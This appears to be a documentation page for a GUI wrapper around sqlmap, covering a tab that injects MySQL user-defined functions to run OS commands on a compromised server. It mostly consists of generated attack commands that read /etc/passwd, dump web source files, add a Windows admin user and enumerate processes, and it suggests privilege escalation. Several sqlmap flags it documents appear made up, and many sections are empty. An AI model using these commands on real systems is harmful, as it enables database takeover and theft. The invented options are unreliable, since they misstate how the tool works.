SQLmap-GUI

UDF Tab - User-Defined Functions and Advanced Database Operations

The UDF tab controls the creation and execution of user-defined functions (UDFs) in the database, enabling advanced operations like file system access, OS command execution, and privilege escalation.

📋 Overview

The UDF tab contains three main sections:

  1. UDF Creation - Create and deploy user-defined functions
  2. UDF Execution - Execute custom database functions
  3. Advanced Operations - Complex database operations

🔧 UDF Creation Options

Create User-Defined Function

Parameter: --udf-drop Description: Drop existing UDFs before creating new ones Behavior: Cleans up previous UDF installations Use Cases:

Shared Library for UDF

Parameter: --shared-lib=LIBRARY Description: Specify shared library file for UDF creation Examples:

--shared-lib=/path/to/lib_mysqludf_sys.so
--shared-lib=C:\udf\lib_mysqludf_sys.dll
--shared-lib=./custom_udf.so

Use Cases:

UDF Repository Path

Parameter: --udf-path=PATH Description: Path to UDF repository or custom UDF files Examples:

--udf-path=/var/lib/mysql/udf/
--udf-path=C:\MySQL\udf\
--udf-path=./custom_udf/

Use Cases:

🚀 UDF Execution Options

Execute UDF Function

Parameter: --udf-exec=FUNCTION Description: Execute a user-defined function Examples:

--udf-exec=sys_exec('whoami')
--udf-exec=sys_eval('id')
--udf-exec=lib_mysqludf_sys.so

Use Cases:

UDF Function Arguments

Parameter: --udf-args=ARGS Description: Arguments to pass to UDF function Examples:

--udf-args="'whoami'"
--udf-args="'cat /etc/passwd'"
--udf-args="'net user admin password'"

Use Cases:

📚 Pre-built UDF Libraries

lib_mysqludf_sys

Description: System function library for MySQL Functions:

Usage Examples:

SELECT sys_exec('whoami');
SELECT sys_eval('uname -a');
SELECT sys_get('PATH');

Custom UDF Development

Requirements:

Basic UDF Structure:

#include <mysql/mysql.h>

my_bool my_udf_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
    return 0;
}

void my_udf_deinit(UDF_INIT *initid) {
    // Cleanup code
}

char *my_udf(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) {
    // Function implementation
    return result;
}

⚙️ Advanced UDF Operations

Batch UDF Execution

Parameter: --udf-exec=FUNC1 --udf-args=ARGS1 --udf-exec=FUNC2 --udf-args=ARGS2 Description: Execute multiple UDF functions in sequence Use Cases:

UDF with SQL Queries

Parameter: --sql-query="SELECT udf_function(args)" Description: Execute UDFs within SQL queries Examples:

SELECT sys_exec('ls -la /var/www');
SELECT sys_eval('ps aux | grep apache');
SELECT sys_get('HOME');

Use Cases:

🔒 Security and Privilege Considerations

Database Privileges Required

UDF Security Best Practices

Risk Mitigation

📝 Usage Examples

Basic UDF Creation and Execution

UDF Drop: ✓ Enabled
Shared Library: /path/to/lib_mysqludf_sys.so
UDF Exec: sys_exec
UDF Args: 'whoami'

Generated Command:

sqlmap -u "http://example.com/page.php?id=1" --udf-drop --shared-lib=/path/to/lib_mysqludf_sys.so --udf-exec=sys_exec --udf-args='whoami'

System Information Gathering

UDF Exec: sys_eval
UDF Args: 'uname -a && id && whoami'

Generated Command:

sqlmap -u "http://example.com/admin.php?id=1" --udf-exec=sys_eval --udf-args='uname -a && id && whoami'

File System Operations via UDF

UDF Exec: sys_exec
UDF Args: 'find /var/www -name *.php -exec cat {} \;'

Generated Command:

sqlmap -u "http://example.com/files.php?id=1" --udf-exec=sys_exec --udf-args='find /var/www -name *.php -exec cat {} \;'

Windows UDF Operations

Shared Library: C:\udf\lib_mysqludf_sys.dll
UDF Exec: sys_exec
UDF Args: 'whoami && whoami /priv'

Generated Command:

sqlmap -u "http://example.com/win.php?id=1" --shared-lib=C:\udf\lib_mysqludf_sys.dll --udf-exec=sys_exec --udf-args='whoami && whoami /priv'

Custom UDF Repository

UDF Path: /custom/udf/
UDF Drop: ✓ Enabled
Shared Library: custom_functions.so

Generated Command:

sqlmap -u "http://example.com/custom.php?id=1" --udf-path=/custom/udf/ --udf-drop --shared-lib=custom_functions.so

Batch UDF Operations

UDF Exec: sys_exec
UDF Args: 'ps aux'
UDF Exec: sys_eval
UDF Args: 'netstat -tlnp'

Generated Command:

sqlmap -u "http://example.com/batch.php?id=1" --udf-exec=sys_exec --udf-args='ps aux' --udf-exec=sys_eval --udf-args='netstat -tlnp'

⚠️ Important Considerations

UDF Compatibility

Performance Impact

Cleanup and Maintenance

🔧 Troubleshooting

UDF Creation Failing

Problem: Cannot create UDF functions Solutions:

  1. Check FILE privilege: SHOW GRANTS
  2. Verify library path and permissions
  3. Check database version compatibility
  4. Try different UDF library

UDF Execution Errors

Problem: UDF functions not executing properly Solutions:

  1. Verify function exists: SHOW FUNCTION STATUS
  2. Check function arguments
  3. Test with simple commands first
  4. Check error logs

Library Loading Issues

Problem: Shared library not loading Solutions:

  1. Verify library path and permissions
  2. Check library dependencies: ldd library.so
  3. Ensure correct architecture (32/64-bit)
  4. Check SELinux/AppArmor restrictions

Permission Denied

Problem: UDF operations failing due to permissions Solutions:

  1. Grant necessary privileges
  2. Check file system permissions
  3. Verify user context
  4. Try privilege escalation

Memory/Resource Issues

Problem: UDF causing memory or resource problems Solutions:

  1. Monitor database resources
  2. Limit UDF complexity
  3. Use smaller datasets
  4. Check database configuration

Platform-Specific Issues

Problem: UDF not working on specific platform Solutions:

  1. Use platform-specific libraries
  2. Check compilation settings
  3. Verify system dependencies
  4. Test on similar environment

📚 Related Tabs

/home/devil/Desktop/SQLmap-GUI-Advanced-SQL-Injection-Testing-Interface/docs/tabs/udf.md
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